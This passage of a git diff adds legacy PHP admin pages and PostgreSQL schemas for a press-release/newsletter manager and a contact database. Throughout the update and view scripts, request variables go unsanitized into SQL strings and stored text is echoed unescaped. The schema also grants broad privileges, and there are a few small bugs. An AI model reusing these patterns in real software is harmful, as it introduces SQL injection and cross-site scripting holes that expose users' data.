+         </td>
+         <td>
+               <?echo $row[pr_date]?>
+         </td>
+       </tr>
+       <?
+       }
+echo "</table>";
+
+footer();
+?>
diff --git a/admin/Press/list_news_category.phtml b/admin/Press/list_news_category.phtml
new file mode 100755 (executable)
index 0000000..a26395c
--- /dev/null
@@ -0,0 +1,28 @@
+<?php
+include("../../setup.phtml");
+if(!$dbd = db_connect()) html_error(DB_ERROR_MSG,1);
+$qs =  "select id,header from pressnews_category";
+if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+top("Newsletters and Press Releases (List Categories)", HELP_BASE."list_media_cat.phtml");
+$nav = array ( "Add Media Category" => "edit_news_category.phtml", "List Media Categories" => "list_news_category.phtml");
+html_nav_table($nav,2);
+echo '<table id="admin-list-table">';
+?>
+<tr>
+<th width="100" align="left">Function</th>
+<th align="left">Category</th>
+</tr>
+<?
+for($i = 0; $i < db_numrows($res); $i++) 
+{
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC); 
+?>
+       <tr>
+         <td nowrap> <a href="edit_news_category.phtml?id=<?echo $row[id]?>">[Edit]</a> <a href="list_news.phtml?catid=<?echo $row[id]?>">[List Items]</a> </td>
+         <td width="80%"><?echo $row[header]?></td>
+       </tr>
+<?
+}
+echo '</table>';
+footer();
+?>
diff --git a/admin/Press/newletter_arch.sql b/admin/Press/newletter_arch.sql
new file mode 100755 (executable)
index 0000000..35915a5
--- /dev/null
@@ -0,0 +1,61 @@
+CREATE TABLE "pressnews" (
+       "id" SERIAL, 
+       "pr_date" date,
+       "catid" integer,
+       "status" text,
+       "header" text,
+       "description" text,
+       "title" text,
+       "image" text
+);
+
+REVOKE ALL on "pressnews" from PUBLIC;
+GRANT ALL on "pressnews" to "nobody";
+GRANT ALL on "pressnews" to "postgres";
+
+REVOKE ALL on "pressnews_id_seq" from PUBLIC;
+GRANT ALL on "pressnews_id_seq" to "nobody";
+GRANT ALL on "pressnews_id_seq" to "postgres";
+
+CREATE TABLE "pressnews_block" (
+       "id" SERIAL, 
+       "news_id" integer,
+       "header" text,
+       "description" text,
+       "image" text,
+       "pos" integer
+);
+
+REVOKE ALL on "pressnews_block" from PUBLIC;
+GRANT ALL on "pressnews_block" to "nobody";
+GRANT ALL on "pressnews_block" to "postgres";
+
+REVOKE ALL on "pressnews_block_id_seq" from PUBLIC;
+GRANT ALL on "pressnews_block_id_seq" to "nobody";
+GRANT ALL on "pressnews_block_id_seq" to "postgres";
+
+CREATE TABLE "pressnews_category" (
+       "id" SERIAL, 
+       "header" text
+);
+
+REVOKE ALL on "pressnews_category" from PUBLIC;
+GRANT ALL on "pressnews_category" to "nobody";
+GRANT ALL on "pressnews_category" to "postgres";
+
+REVOKE ALL on "pressnews_category_id_seq" from PUBLIC;
+GRANT ALL on "pressnews_category_id_seq" to "nobody";
+GRANT ALL on "pressnews_category_id_seq" to "postgres";
+
+CREATE TABLE "pressnews_response" (
+       "id" SERIAL, 
+       "subject" text,
+       "response" text,
+       "mailout"       date
+);
+
+REVOKE ALL on "pressnews_response" from PUBLIC;
+GRANT ALL on "pressnews_response" to "postgres";
+GRANT ALL on "pressnews_response" to "nobody";
+
+INSERT INTO pressnews_response (subject,response) values ('subject','response');
diff --git a/admin/Press/update_autoresponse.phtml b/admin/Press/update_autoresponse.phtml
new file mode 100755 (executable)
index 0000000..17075cf
--- /dev/null
@@ -0,0 +1,48 @@
+<?php
+include("../../setup.phtml");
+$dbd = db_connect(CONN2_STR);
+
+       switch($Command) {
+       
+       case "Update":
+               
+               
+               if(!$dbd) html_error(DB_ERROR_MSG,1);
+               
+               $qs = "UPDATE   pressnews_response 
+                          SET          subject         = '$subject',
+                                               response        = '$response'
+                          WHERE        id                      = $id";
+
+               if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+               
+               $location = "list_news.phtml?catid=1"; 
+       
+       break;
+       
+       case "Insert":
+               
+               if(!$dbd) html_error(DB_ERROR_MSG,1);
+       
+               $qs = "INSERT INTO pressnews_response 
+                                       (subject,response)
+                          VALUES 
+                                       ('$subject','$response')";
+                                       
+               if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+               
+               $location = "list_news.phtml?catid=1"; 
+       
+       break;
+       
+       case "Cancel":
+               $location = "list_news.phtml?catid=1"; 
+       break;
+       
+       default:
+               html_error("incorrect value for Command",1);
+       break;
+       }
+       
+header("Location: $location");
+?>
diff --git a/admin/Press/update_block.phtml b/admin/Press/update_block.phtml
new file mode 100755 (executable)
index 0000000..a1b53c6
--- /dev/null
@@ -0,0 +1,195 @@
+<?php
+include "../../setup.phtml";
+switch($Command) {
+case "Move":// {{{
+    $dbd = db_connect();
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+    
+    $qs = "SELECT      pos,news_id
+           FROM        pressnews_block
+           WHERE       id = $id";
+
+    if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    $data = db_fetch_array($result,0,PGSQL_ASSOC);
+    $pos = $data['pos'];
+    $news_id = $data['news_id'];
+    
+    if($newpos < $pos) {
+        $qs = "SELECT  id,pos
+               FROM    pressnews_block
+               WHERE   pos < $pos
+               AND             pos >= $newpos
+               AND             pressnews_id = $news_id";
+
+        if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+        $counter = ($newpos + 1);
+        for($i=0;$i<db_numrows($res);$i++) {
+            $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+            $res_id = $res_data['id'];
+            $res_pos = $res_data['pos'];
+            $qs = "UPDATE      pressnews_block
+                   SET                 pos = $counter
+                   WHERE       id = $res_id";
+
+        if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+        $counter++;
+        }
+    }
+    else {
+        $qs = "SELECT  pos,id
+               FROM    pressnews_block
+               WHERE   pos > $pos
+               AND             pos <= $newpos
+               AND             pressnews_id = $news_id";
+
+        if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+        
+        $counter = ($pos);
+        for($i=0;$i<db_numrows($res);$i++) {
+            $res_data = db_fetch_array($res,$i,PGSQL_ASSOC);
+            $res_id = $res_data['id'];
+            $res_pos = $res_data['pos'];
+            $qs = "UPDATE      pressnews_block
+                   SET         pos = $counter
+                   WHERE       id = $res_id";
+            if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+            $counter++;
+        }
+    }
+    $qs = "UPDATE      pressnews_block
+           SET                 pos = $newpos
+           WHERE       id = $id";
+
+    if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+
+    $location = "view_news.phtml?id=$news_id&catid=$catid&news_id=$news_id"; 
+    break;// }}}
+case "Update":// {{{
+    if($image == "none" || $image == "") {
+        $image_name = $oldimage;
+    } else {
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        if ($oldimage) {
+            $imServer->imageDelete($oldimage);
+        }
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    
+    if($delete == "1") {
+        $image_name = "";
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $imServer->imageDelete($_REQUEST['oldimage']);
+    }
+    
+    $dbd = db_connect();
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+    
+    $qs = "UPDATE      pressnews_block 
+           SET         header          = '$header',
+                    image              = '$image_name',
+                    description = '$description',
+                    pressnews_id       = $news_id
+           WHERE       id                      = $id";
+
+    if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+    
+    $location = "view_news.phtml?id=$news_id&catid=$catid"; 
+
+    break;// }}}
+case "Insert":// {{{
+    $dbd = db_connect();
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    if($image == "none" || $image == "") {
+        $image_name = "";
+    }
+    else { 
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    $qs = "SELECT      MAX(pos) as maxpos
+           FROM        pressnews_block
+           WHERE       pressnews_id = $news_id";
+
+    if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+    $data = db_fetch_array($res,0,PGSQL_ASSOC);
+    $nextpos = $data['maxpos'];
+    $nextpos++;
+    
+    $qs = "INSERT INTO pressnews_block 
+                (header,image,description,pressnews_id,pos)
+           VALUES 
+                ('$header','$image_name','$description',$news_id,$nextpos)";
+                
+    if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    $location = "view_news.phtml?id=$news_id&catid=$catid"; 
+
+    break;// }}}
+case "Delete":// {{{
+    $dbd = db_connect();
+    
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+
+    $qs = "SELECT      image,pos
+           FROM        pressnews_block
+           WHERE       id = $id";
+    
+    if(!$res = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    $data = db_fetch_array($res,0,PGSQL_ASSOC);
+    $oldimage = $data['image'];           
+    $pos = $data['pos'];
+    
+    $qs = "DELETE 
+           FROM        pressnews_block 
+           WHERE       id = $id";
+    
+    if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+    
+    if($oldimage != "") {
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $imServer->imageDelete($oldimage);
+    }
+
+    $qs = "SELECT      id 
+           FROM        pressnews_block
+           WHERE       pressnews_id = $news_id
+           AND         pos >= $pos
+           ORDER BY pos";
+
+    if(!$result = db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+
+    $counter = $pos;
+    for($index=0;$index<db_numrows($result);$index++) {
+        $data = db_fetch_array($result,0,PGSQL_ASSOC);
+        $old_id = $data['id'];
+        $qs = "UPDATE  pressnews_block
+               SET             pos = $counter
+               WHERE   id = $old_id";
+    
+        if(!db_exec($dbd,$qs)) html_error(DB_ERROR_MSG.$qs,1);
+        $counter++;
+    }
+
+    $location = "view_news.phtml?id=$news_id&catid=$catid"; 
+    break;// }}}
+case "Cancel":// {{{
+    $location = "list_news.phtml?catid=$catid"; 
+    break;// }}}
+default:// {{{
+    html_error("incorrect value for Command",1);
+    break;// }}}
+}
+       
+header("Location: $location");
+?>
diff --git a/admin/Press/update_news.phtml b/admin/Press/update_news.phtml
new file mode 100755 (executable)
index 0000000..5a1b17c
--- /dev/null
@@ -0,0 +1,150 @@
+<?php
+require_once "../../setup.phtml";
+switch($Command) {
+case "Update":// {{{
+    if($image == "none" || $image == "") {
+        $image_name = $oldimage;
+    } else {
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        if ($oldimage) {
+            $imServer->imageDelete($oldimage);
+        }
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    if($delete == "1") {
+        $image_name = "";
+        require_once BASE.'Toolkit/Image/Server.php';
+        $imServer = new Toolkit_Image_Server();
+        $imServer->imageDelete($_REQUEST['oldimage']);
+    }
+    $dbd = db_connect();
+    if(!$dbd) {
+        html_error(DB_ERROR_MSG,1);
+    }
+
+    $web = ( $web == 't' ) ? $web :'f';
+    $isp = ( $isp == 't' ) ? $isp :'f';
+    $about = ( $about == 't' ) ? $about :'f';
+    $qs = "UPDATE      pressnews 
+           SET         title           = '$title',
+                    header             = '$header',
+                    web                = '$web',
+                    isp                = '$isp',
+                    about              = '$about',
+                    image              = '$image_name',
+                    catid              = $catid,
+                    status             = '$status',
+                    pr_date    = '$month/$day/$year',
+                    intro              = '$intro',
+                    description = '$description'
+           WHERE       id                      = $id";
+    if(!db_exec($dbd,$qs)) html_error("failed ->".$qs,1);
+    if(isset($Section) && $Section == "Add Section") {
+        $location = "add_block.phtml?catid=$catid&news_id=$id"; 
+    } elseif(isset($section) && $section == "Move") {
+        $location = "update_block?Command=Move&id=$block_id&news_id=$news_id&newpos=$newpos&catid=$catid";
+    } else {
+        $location = "view_news.phtml?catid=$catid&id=$id"; 
+    }
+       break;// }}}
+case "Insert":// {{{
+    $dbd = db_connect();
+    if(!$dbd) html_error(DB_ERROR_MSG,1);
+    if($image == "none" || $image == "") {
+        $image_name = "";
+    } else {
+        $image_name = GLM_TOOLBOX::process_image('image');
+    }
+    $web = ( $web == 't' ) ? $web :'f';
+    $isp = ( $isp == 't' ) ? $isp :'f';
+    $about = ( $about == 't' ) ? $about :'f';
+    $qs = "
+    INSERT INTO pressnews 
+        (title,header,web,isp,about,catid,status,pr_date,intro,description,image)
+         VALUES 
+        ('$title','$header','$web','$isp','$about',$catid,'queued',
+        '$month/$day/$year','$intro','$description','$image_name')
+    RETURNING id";
+                
+    if(!$res = db_exec($dbd,$qs)) {
+        html_error("failed ->".$qs,1);
+    }
+    $data = db_fetch_array($res,0,PGSQL_ASSOC);
+    $id = $data['id'];         
+    if(isset($Section) && $Section = "Add Section") {
+        $location = "add_block.phtml?catid=$catid&news_id=$id"; 
+    } else {
+        $location = "list_news.phtml?catid=$catid"; 
+    }
+       break;// }}}
+case "Delete":// {{{
+    $dbd = db_connect();
+    if(!$dbd) {
+        html_error(DB_ERROR_MSG,1);
+    }
+    $qs = "DELETE 
+           FROM        pressnews 
+           WHERE       id = $id";
+    if(!$res = db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG,1);
+    }
+    $qs = "SELECT      id,image 
+           FROM        pressnews_block 
+           WHERE       pressnews_id = $id";
+    if(!$res = db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG,1);
+    }
+    for($i=0;$i<db_numrows($res);$i++) {
+        $data = db_fetch_array($res,$i,PGSQL_ASSOC);
+        if($data[image] != "") {
+            require_once BASE.'Toolkit/Image/Server.php';
+            $imServer = new Toolkit_Image_Server();
+            $imServer->imageDelete($data['image']);
+        }
+    }
+    $qs = "DELETE 
+           FROM        pressnews_block
+           WHERE       pressnews_id = $id";
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG,1);
+    }
+    $location = "list_news.phtml?catid=$catid"; 
+       break;// }}}
+case "Cancel":// {{{
+    $location = "list_news.phtml?catid=$catid"; 
+       break;// }}}
+case "Advance":        // {{{
+    $dbd = db_connect();
+    if(!$dbd) {
+        html_error(DB_ERROR_MSG,1);
+    }
+    $qs = "BEGIN WORK";
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG.$qs,1);
+    }
+    $qs = "UPDATE      pressnews
+           SET                 status = 'current'
+           WHERE       catid = $catid
+           AND                 pr_date = (
+                              SELECT   MIN(pr_date) as pr_date
+                              FROM             pressnews 
+                              WHERE            catid = $catid
+                              AND              status = 'queued'
+                              )";
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG.$qs,1);
+    }
+    $qs = "COMMIT WORK";
+                          
+    if(!db_exec($dbd,$qs)) {
+        html_error(DB_ERROR_MSG.$qs,1);
+    }
+    $location = "list_news.phtml?catid=$catid";
+       break;// }}}
+default:// {{{
+    html_error("incorrect value for Command",1);
+       break;// }}}
+}
+header("Location: $location");
+?>
diff --git a/admin/Press/update_news_category.phtml b/admin/Press/update_news_category.phtml
new file mode 100755 (executable)
index 0000000..b45ba0f
--- /dev/null
@@ -0,0 +1,96 @@
+<?php
+include("../../setup.phtml");
+
+if($REQUEST_METHOD == "POST") {
+       switch($Command) {
+       
+       case "Update":
+               
+               if($image != "none" && $image != "") {
+                       $image_name = process_image($image,$image_name);
+               }
+               else {
+                       $image_name = $oldimage;
+               }
+               
+               if($delete == "1") {
+                       $image_name = "";
+                       
+                       @unlink(ORIGINAL_PATH."/".$oldimage);
+                       @unlink(RESIZED_PATH.$oldimage);
+                       @unlink(THUMB_PATH.$oldimage);
+                       @unlink(MIDSIZED_PATH.$oldimage);
+               }
+               
+               $qs = "UPDATE   pressnews_category 
+                          SET
+                                       header = '$header'
+                          WHERE 
+                                       id = $id";
+               
+               if(!db_auto_exec($qs,CONN_STR)) html_error("failed ->".$qs,1);
+               
+               $location = "list_news_category.phtml"; 
+       
+       break;
+       
+       case "Insert":
+               
+               if($image != "none" && $image != "") {
+                       $image_name = process_image($image,$image_name);
+               }
+               else { 
+                       $image_name = $oldimage;
+               }
+               
+               $qs = "INSERT INTO pressnews_category 
+                                       (header)
+                          VALUES 
+                                       ('$header')";
+                                       
+               if(!db_auto_exec($qs,CONN_STR)) html_error("failed ->".$qs,1);
+               
+               $location = "list_news_category.phtml"; 
+       
+       break;
+       
+       case "Delete":
+               
+               $dbd = db_connect(CONN_STR);
+               
+               if(!$dbd) html_erro(DB_ERROR_MSG,1);
+               
+               $qs = "SELECT   id 
+                          FROM         pressnews 
+                          WHERE        catid = $id";
+               
+               $res = db_exec($dbd,$qs);
+
+               if(db_numrows($res) >0) {
+                       html_error("Sorry but you have items in there\n 
+                                               Delete these record before the Categories\n",1); 
+               }
+               
+               $qs2 = "DELETE 
+                               FROM            pressnews_category 
+                           WHERE               id = $id";
+               
+               if(!db_auto_exec($qs2)) html_error(DB_ERROR_MSG.$qs2,1);
+               
+               
+               $location = "list_news_category.phtml"; 
+       
+       break;
+       
+       case "Cancel":
+               $location = "list_news_category.phtml"; 
+       break;
+       
+       default:
+               html_error("incorrect value for Command",1);
+       break;
+       }
+       
+header("Location: $location");
+}
+?>
diff --git a/admin/Press/view_news.phtml b/admin/Press/view_news.phtml
new file mode 100755 (executable)
index 0000000..d83e1a6
--- /dev/null
@@ -0,0 +1,96 @@
+<?php
+require_once "../../setup.phtml";
+$qs = "select header from pressnews_category where id = $catid";
+$catData = db_auto_get_data($qs, CONN_STR);
+top("{$catData[0]['header']} (Edit/Delete)", HELP_BASE."item.phtml?key=view");
+$lnav = array(
+"List Items"   => "list_news.phtml?catid=$catid",
+"Add Section"  => "edit_block.phtml?catid=$catid&news_id=$id",
+"Edit"                 => "edit_news.phtml?catid=$catid&id=$id",
+"Delete This Item"     => array ( 
+       "update_news.phtml?Command=Delete&id=$id&catid=$catid",
+       "onClick=\"
+       if(confirm('You are Deleting this item and all sections Are you sure?')) {
+               return(true);
+       }
+       else {
+               return(false);
+       }\"")
+               );
+html_nav_table($lnav, 4);
+if(!$dbd = db_connect(CONN_STR)) html_error(DB_ERROR_MSG, 1);
+$qs =  "SET DATESTYLE TO 'SQL, NONEUROPEAN'";
+if(!db_exec($dbd, $qs)) {
+       html_error(DB_ERROR_MSG.$qs, 1);
+}
+$qs = "select id,title,catid,pr_date,status,description,image from pressnews where id = $id";
+if(!$res = db_exec($dbd, $qs)) {
+   html_error(DB_ERROR_MSG.$qs,1);
+}
+echo '<form enctype="multipart/form-data" action="add_block.phtml" method="POST">
+<table id="admin-list-table">';
+for($i = 0; $i < db_numrows($res); $i++) {
+       $row = db_fetch_array($res,$i, PGSQL_ASSOC);
+       if(!$row[id]) {
+               html_error(DB_ERROR_MSG,1);
+       }
+       echo '<tr><td><center><b>'.$row["title"].'</b></center><br>'; 
+       if($row['image'] != "") { 
+               echo '<img src="'.MIDSIZED.$row['image'].'" align=left"></td><td>';
+       }
+       echo $row['description'];
+       echo '</td></tr>';
+}
+$qs = "SELECT  id,header,description,image,pos
+          FROM         pressnews_block
+          WHERE        pressnews_id = $id
+          ORDER BY pos";
+          if(!$sect_res = db_Exec($dbd,$qs)) {
+       html_error(DB_ERROR_MSG.$qs,1);
+}
+for($i=0;$i<db_numrows($sect_res);$i++) {
+       $data = db_fetch_array($sect_res,$i,PGSQL_ASSOC);
+       echo "<tr><td colspan=2><hr noshade></td></tr>";
+       $num = $i + 1;
+       $qs = "SELECT   MAX(pos) AS maxpos 
+                  FROM         pressnews_block 
+                  WHERE        pressnews_id = $id;";
+       if(!$maxResult = db_Exec($dbd, $qs)) {
+               html_error(DB_ERROR_MSG.$qs,1);
+       }
+       $max_data = db_fetch_array($maxResult,0,PGSQL_ASSOC);
+       $maxpos = pg_result($maxResult,0,'maxpos');
+       echo "<tr><td colspan=2><select name=\"pos\" 
+               onChange=\"location.href=this[this.selectedIndex].value;\""; 
+       echo "size=\"1\">";
+       for( $newspos=1 ; $newspos<=$maxpos ; $newspos++ ) {
+               $string = "Command=Move&id=$data[id]&news_id=$id&newpos=$newspos&catid=$catid";
+               echo "<option 
+               value=\"update_block.phtml?".$string."\"";
+               if($newspos == $data[pos]) {
+                       echo " SELECTED";
+               }
+               echo ">$newspos\n";
+       }
+       echo "</select></td></tr>";
+       echo "<tr><td colspan=2><a href=\"edit_block.phtml?id=$data[id]&news_id=$id&catid=$catid\">[Edit/Delete]</a><b>Section $num</b><br>";
+       echo "<b>$data[header]</b></td></tr>
+                 <tr><td colspan=2>";
+       if($data[image] != "") {
+               if($i%2 == 0) {
+                       echo "<img src=\"".MIDSIZED.$data[image]."\" align=right>";     
+               } else {
+                       echo "<img src=\"".MIDSIZED.$data[image]."\" align=left>";      
+               }
+       }
+       echo $data[description];
+       echo "</td></tr>";
+}
+echo '
+</table>
+         <input type="hidden" name="catid" value="'.$catid.'">
+         <input type="hidden" name="news_id" value="'.$id.'">
+         <input type="hidden" name="Command" value="Update">
+</form>';
+footer();
+?>
diff --git a/admin/SearchEng-Contact/contact.phtml b/admin/SearchEng-Contact/contact.phtml
new file mode 100755 (executable)
index 0000000..04e8dca
--- /dev/null
@@ -0,0 +1,278 @@
+<?php
+include_once("../../setup.phtml");
+
+$dbd = db_connect(CONN2_STR);
+
+$qs = "SELECT  contactid 
+          FROM         search_contact";
+
+$res = db_exec($dbd,$qs);
+
+// Setup array for the In Fields and Output fields boxes
+// Field must actually be in database
+$fields = array(
+       "name" => "Name",
+       "address1" => "Address 1",
+       "address2" => "Address 2",
+       "city" => "City",
+       "state" => "State",
+       "zip" => "Zip",
+       "country" => "Country",
+       "email" => "Email",
+       "phone" => "Phone",
+       "bus_type" => "Bussiness Type"
+       );
+
+top("Contact Database",HELP_BASE."contact.phtml?key=search");
+$nav = array(
+       "Add Contact" => "edit_contact.phtml",
+       "List all Contacts" => "list_contact.phtml",
+       "List all saved queries" => "list_query.phtml",
+       "Query Page" => "contact.phtml"
+);
+html_nav_table($nav,4);
+
+?>
+<table id="admin-list-table">
+  <tr>
+    <td colspan=4>
+       There
+       <?
+       if(db_numrows($res) < 1 ) 
+               echo " No records";
+       elseif(db_numrows($res) > 1) 
+               echo "are ".db_numrows($res)." contacts";
+       else 
+               echo "is ".db_numrows($res)." contact";
+       ?> in the database.
+       </td>
+  </tr>        
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Search:
+    </th>
+  </tr>        
+  <tr>
+    <td colspan=4>
+       <b>Search records for:</b><br>
+       </td>
+  </tr>
+  <tr>
+  <td colspan=4>
+  <form name="search" action="query_contact.phtml" method="POST" onSubmit="
+       var msg = '';
+       var errors = '';
+       var ping = 0;
+       var all = 0;
+       this.fvalue.value = '';
+       this.rfvalue.value = '';
+       this.rdvalue.value = '';
+
+       if(this.search.value == '') {
+               all++;
+       }
+
+       for(var i = 0;i<4;i++) {
+               if(this.search_type.options[i].selected){
+                       ping++;
+               }
+       }
+
+       if(all == 0) {
+               if(ping == 0) {
+                       errors += '-You must select a search type\n';
+               }       
+       }       
+
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               if(this.fields.options[i].selected) {
+                       this.fvalue.value += ':' + this.fields.options[i].value;
+               }
+       }
+
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               if(this.return_fields.options[i].selected) {
+                       this.rfvalue.value += ':' + this.return_fields.options[i].value;
+               }
+       }
+  
+       for(var i=0;i<1;i++) {
+               if(this.dates.options[i].selected) {
+                       this.rdvalue.value += ':' + this.dates.options[i].value;
+               }
+       }
+  
+       if(all == 0) {
+               if(this.fvalue.value == '') {
+                       errors += '-You must select at least one field to search in\n';
+               }
+       }
+       
+        if(this.rfvalue.value == '') {
+               errors += '-You must select at least one field for output\n';
+       }
+       
+       if(all == 1) {
+               if(errors == '') {
+                       return(true);
+               }
+       }
+       
+       if(errors == '') {
+               return(true);
+       }
+       else {
+               msg += '_______________________________________\n\n';
+               msg += 'The form was not submitted please check\n';
+               msg += 'the following and resubmit\n\n';
+               msg += errors + '\n\n';
+               msg += '_______________________________________\n\n';
+       
+               alert(msg);
+               return(false);
+       }
+  ">
+  <input name="search" value="<?echo $search?>" size=40>
+  <input type="submit" name="Submit Query">
+  </td>
+  </tr>
+  <tr>
+    <td class�"small" valign=top>
+       <b>In Fields:</b><br>
+       <select name="fields" multiple size=8>
+       <?foreach($fields as $key2=>$value2) {?>
+       <option value="<?echo $key2?>"><?echo $value2?>
+       <?}?>
+       </select>
+       <br>
+       <input type="radio" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.fields.options[i].selected=1;
+       }
+       ">All
+       <input type="radio" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.fields.options[i].selected=0;
+       }
+       ">None
+       </td>
+       <td valign=top class="small" nowrap>
+      <b>Search Where:</b><br>
+         <select name="alter">
+         <option value="0" selected>Anywhere
+         <option value="1">Begining
+      <option value="2">Ending
+         </select><br>
+       <input type="hidden" name="fvalue">
+       <br>
+       <b>Mail Ok</b><br>
+       <select name="mail_ok">
+       <option value="n">Don't Care
+       <option value="1">True
+       <option value="0">False
+       </select>
+       </td>
+       <td valign=top width=25%>
+       <b>Search Type:</b><br>
+  <select name="search_type" size=4>
+  <option value="1" selected>Exact string 
+  <option value="2">And 
+  <option value="3">Or
+  <option value="4">Not
+  </select>
+       </td>
+      <td valign=top class=small width=25%>
+      <b>Case Sensitivity:</b><br>
+      <select name="case">
+      <option value="ON">On
+      <option value="OFF" selected>Off
+      </select><br>
+      </td>
+       </tr>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Output of records:
+    </th>
+  </tr>        
+  <tr>
+    <td class="small" valign=top>
+       <b>Output Fields:</b><br>
+       <select name="return_fields" multiple size=8>
+       <?foreach($fields as $key2=>$value2) {?>
+       <option value="<?echo $key2?>"><?echo $value2?>
+       <?}?>
+       </select>
+       <input type="hidden" name="rfvalue">
+       <input type="radio" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.return_fields.options[i].selected=1;
+       }
+       for(var i=0;i<3;i++) {
+               this.form.dates.options[i].selected=1;
+       }
+       ">All
+       <input type="radio" name="a" onClick="
+       for(var i=0;i<<?echo count($fields)?>;i++) {
+               this.form.return_fields.options[i].selected=0;
+       }
+       for(var i=0;i<3;i++) {
+               this.form.dates.options[i].selected=0;
+       }
+       ">None
+  </td>
+    <td class="small" valign=top>
+       <input type="hidden" name="rdvalue" value="">
+    <b>Output fields (Dates):</b>
+       <select name="dates" multiple size=2>
+       <option value="submit_date">Submit Date
+       </select>
+  </td>
+  <td class="small" valign=top width=25%>
+  <b>File output:</b><br>
+  <select name="file" size=4>
+  <option value="">No File
+  <option value="zip">zip file
+  <option value="gz">tar.gz(tar ball)
+  <option value="rpt">text file 
+  </select>
+  </td>
+  <td valign=top class=small width=25%>
+  <b>Delimiter:</b><br>
+  <select name="delimiter" size=4>
+  <option value="tab" selected>TAB
+  <option value="comma">Comma
+  <option value="csv">CSV
+  <option value="pipe">Pipe
+  </select>
+  </td>
+  </tr>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Search Dates Ranges
+    </th>
+  </tr>        
+  <tr>
+    <th bgcolor="#191970" class="theader" colspan="2">
+       From 
+    </th>
+    <th bgcolor="#191970" class="theader" colspan="2">
+       To 
+    </th>
+  </tr>        
+       <?
+       $p_date_from = contact_date_entry("","","","fp_month","fp_day","fp_year");
+       $p_date_to = contact_date_entry("","","","tp_month","tp_day","tp_year");
+       ?>
+  <tr>
+    <th bgcolor="#2f4f4f" colspan=4 class="theader">
+       Submit Date
+    </th>
+  </tr>        
+  <tr>
+  <td align=center colspan="2"> <?echo $p_date_from?> </td>
+  <td align=center colspan="2"> <?echo $p_date_to?> </td>
+  </tr>
+  </table>
+<?
+footer();
+?>
diff --git a/admin/SearchEng-Contact/contact.sql b/admin/SearchEng-Contact/contact.sql
new file mode 100755 (executable)
index 0000000..7f6aa2e
--- /dev/null
@@ -0,0 +1,52 @@
+CREATE TABLE "search_contact" (
+       "contactid" SERIAL, 
+       "name" text,
+       "address1" text,
+       "address2" text,
+       "city" text,
+       "state" text,
+       "zip" text,
+       "country" text,
+       "email" text,
+       "phone" text,
+       "submit_date" int4,
+       "bus_type" text,
+       "mail_ok" boolean
+);
+
+REVOKE ALL on "search_contact" from PUBLIC;
+GRANT ALL on "search_contact" to "postgres";
+GRANT ALL on "search_contact" to "nobody";
+
+REVOKE ALL on "search_contact_id_seq" from PUBLIC;
+GRANT ALL on "search_contact_id_seq" to "postgres";
+GRANT ALL on "search_contact_id_seq" to "nobody";
+
+CREATE TABLE "search_query_db" (
+       "id" SERIAL, 
+       "query_name" text,
+       "query" text,
+       "file" text,
+       "delimiter" text
+);
+
+REVOKE ALL on "search_query_db" from PUBLIC;
+GRANT ALL on "search_query_db" to "nobody";
+GRANT ALL on "search_query_db" to "postgres";
+
+REVOKE ALL on "search_query_db_id_seq" from PUBLIC;
+GRANT ALL on "search_query_db_id_seq" to "nobody";
+GRANT ALL on "search_query_db_id_seq" to "postgres";
+
+CREATE TABLE search_newsletter (
+id SERIAL,
+mailout date,
+newsid integer);
+
+REVOKE ALL ON search_newsletter FROM public;
+GRANT ALL ON search_newsletter TO nobody;
+GRANT ALL ON search_newsletter TO postgres;
+
+REVOKE ALL ON search_newsletter_id_seq TO public;
+GRANT ALL ON search_newsletter_id_seq TO nobody;
+GRANT ALL ON search_newsletter_id_seq TO postgres;
diff --git a/admin/SearchEng-Contact/del_query.phtml b/admin/SearchEng-Contact/del_query.phtml
new file mode 100755 (executable)
